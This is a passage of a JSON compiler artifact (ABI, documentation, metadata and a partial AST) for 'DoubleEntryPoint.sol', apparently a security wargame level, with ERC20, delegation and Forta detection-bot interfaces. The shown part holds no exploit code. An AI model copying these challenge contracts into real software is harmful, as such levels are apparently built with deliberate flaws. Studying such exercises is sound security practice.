utputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero.\"}},\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"decimals()\":{\"details\":\"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DoubleEntryPoint.sol\":\"LegacyToken\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DoubleEntryPoint.sol\":{\"keccak256\":\"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6\",\"dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","type":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"delegate","outputs":[{"internalType":"contract DelegateERC20","name":"","type":"address"}]},{"inputs":[{"internalType":"contract DelegateERC20","name":"newContract","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"delegateToNewContract"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mint"},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"allowance(address,address)":{"details":"See {IERC20-allowance}."},"approve(address,uint256)":{"details":"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address."},"balanceOf(address)":{"details":"See {IERC20-balanceOf}."},"decimals()":{"details":"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}."},"decreaseAllowance(address,uint256)":{"details":"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`."},"increaseAllowance(address,uint256)":{"details":"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address."},"name()":{"details":"Returns the name of the token."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"symbol()":{"details":"Returns the symbol of the token, usually a shorter version of the name."},"totalSupply()":{"details":"See {IERC20-totalSupply}."},"transferFrom(address,address,uint256)":{"details":"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DoubleEntryPoint.sol":"LegacyToken"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DoubleEntryPoint.sol":{"keccak256":"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31","urls":["bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6","dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DoubleEntryPoint.sol","id":51851,"exportedSymbols":{"Context":[48281],"CryptoVault":[51645],"DelegateERC20":[51463],"DoubleEntryPoint":[51850],"ERC20":[47861],"Forta":[51577],"IDetectionBot":[51471],"IERC20":[47939],"IERC20Metadata":[47964],"IForta":[51489],"LegacyToken":[51720],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:3886:71","nodes":[{"id":51449,"nodeType":"PragmaDirective","src":"32:23:71","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51450,"nodeType":"ImportDirective","src":"57:54:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":51451,"nodeType":"ImportDirective","src":"112:57:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51463,"nodeType":"ContractDefinition","src":"171:129:71","nodes":[{"id":51462,"nodeType":"FunctionDefinition","src":"201:97:71","nodes":[],"functionSelector":"9cd1a121","implemented":false,"kind":"function","modifiers":[],"name":"delegateTransfer","nameLocation":"210:16:71","parameters":{"id":51458,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51453,"mutability":"mutable","name":"to","nameLocation":"235:2:71","nodeType":"VariableDeclaration","scope":51462,"src":"227:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51452,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51455,"mutability":"mutable","name":"value","nameLocation":"247:5:71","nodeType":"VariableDeclaration","scope":51462,"src":"239:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51454,"name":"uint256","nodeType":"ElementaryTypeName","src":"239:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51457,"mutability":"mutable","name":"origSender","nameLocation":"262:10:71","nodeType":"VariableDeclaration","scope":51462,"src":"254:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51456,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:47:71"},"returnParameters":{"id":51461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51460,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51462,"src":"292:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51459,"name":"bool","nodeType":"ElementaryTypeName","src":"292:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"291:6:71"},"scope":51463,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"DelegateERC20","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51463],"name":"DelegateERC20","nameLocation":"181:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51471,"nodeType":"ContractDefinition","src":"302:106:71","nodes":[{"id":51470,"nodeType":"FunctionDefinition","src":"332:74:71","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"341:17:71","parameters":{"id":51468,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51465,"mutability":"mutable","name":"user","nameLocation":"367:4:71","nodeType":"VariableDeclaration","scope":51470,"src":"359:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51464,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51467,"mutability":"mutable","name":"msgData","nameLocation":"388:7:71","nodeType":"VariableDeclaration","scope":51470,"src":"373:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51466,"name":"bytes","nodeType":"ElementaryTypeName","src":"373:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"358:38:71"},"returnParameters":{"id":51469,"nodeType":"ParameterList","parameters":[],"src":"405:0:71"},"scope":51471,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51471],"name":"IDetectionBot","nameLocation":"312:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51489,"nodeType":"ContractDefinition","src":"410:204:71","nodes":[{"id":51476,"nodeType":"FunctionDefinition","src":"433:63:71","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"442:15:71","parameters":{"id":51474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51473,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"466:19:71","nodeType":"VariableDeclaration","scope":51476,"src":"458:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51472,"name":"address","nodeType":"ElementaryTypeName","src":"458:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"457:29:71"},"returnParameters":{"id":51475,"nodeType":"ParameterList","parameters":[],"src":"495:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51483,"nodeType":"FunctionDefinition","src":"501:63:71","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"510:6:71","parameters":{"id":51481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51478,"mutability":"mutable","name":"user","nameLocation":"525:4:71","nodeType":"VariableDeclaration","scope":51483,"src":"517:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51477,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51480,"mutability":"mutable","name":"msgData","nameLocation":"546:7:71","nodeType":"VariableDeclaration","scope":51483,"src":"531:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51479,"name":"bytes","nodeType":"ElementaryTypeName","src":"531:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"516:38:71"},"returnParameters":{"id":51482,"nodeType":"ParameterList","parameters":[],"src":"563:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51488,"nodeType":"FunctionDefinition","src":"569:43:71","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"578:10:71","parameters":{"id":51486,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51485,"mutability":"mutable","name":"user","nameLocation":"597:4:71","nodeType":"VariableDeclaration","scope":51488,"src":"589:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51484,"name":"address","nodeType":"ElementaryTypeName","src":"589:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"588:14:71"},"returnParameters":{"id":51487,"nodeType":"ParameterList","parameters":[],"src":"611:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51489],"name":"IForta","nameLocation":"420:6:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51577,"nodeType":"ContractDefinition","src":"616:752:71","nodes":[{"id":51496,"nodeType":"VariableDeclaration","src":"647:59:71","nodes":[],"constant":false,"functionSelector":"9e1083ca","mutability":"mutable","name":"usersDetectionBots","nameLocation":"688:18:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"typeName":{"id":51495,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51492,"name":"address","nodeType":"ElementaryTypeName","src":"655:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"647:33:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51494,"nodeType":"UserDefinedTypeName","pathNode":{"id":51493,"name":"IDetectionBot","nameLocations":["666:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51471,"src":"666:13:71"},"referencedDeclaration":51471,"src":"666:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}},"visibility":"public"},{"id":51500,"nodeType":"VariableDeclaration","src":"712:50:71","nodes":[],"constant":false,"functionSelector":"dc702fa0","mutability":"mutable","name":"botRaisedAlerts","nameLocation":"747:15:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":51499,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51497,"name":"address","nodeType":"ElementaryTypeName","src":"720:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"712:27:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51498,"name":"uint256","nodeType":"ElementaryTypeName","src":"731:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":51516,"nodeType":"FunctionDefinition","src":"769:156:71","nodes":[],"body":{"id":51515,"nodeType":"Block","src":"841:84:71","nodes":[],"statements":[{"expression":{"id":51513,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51506,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"851:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51509,"indexExpression":{"expression":{"id":51507,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"870:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51508,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"874:6:71","memberName":"sender","nodeType":"MemberAccess","src":"870:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"851:30:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51511,"name":"detectionBotAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51502,"src":"898:19:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51510,"name":"IDetectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51471,"src":"884:13:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IDetectionBot_$51471_$","typeString":"type(contract IDetectionBot)"}},"id":51512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"884:34:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"src":"851:67:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51514,"nodeType":"ExpressionStatement","src":"851:67:71"}]},"baseFunctions":[51476],"functionSelector":"9e927c68","implemented":true,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"778:15:71","overrides":{"id":51504,"nodeType":"OverrideSpecifier","overrides":[],"src":"832:8:71"},"parameters":{"id":51503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51502,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"802:19:71","nodeType":"VariableDeclaration","scope":51516,"src":"794:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51501,"name":"address","nodeType":"ElementaryTypeName","src":"794:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"793:29:71"},"returnParameters":{"id":51505,"nodeType":"ParameterList","parameters":[],"src":"841:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51551,"nodeType":"FunctionDefinition","src":"931:259:71","nodes":[],"body":{"id":51550,"nodeType"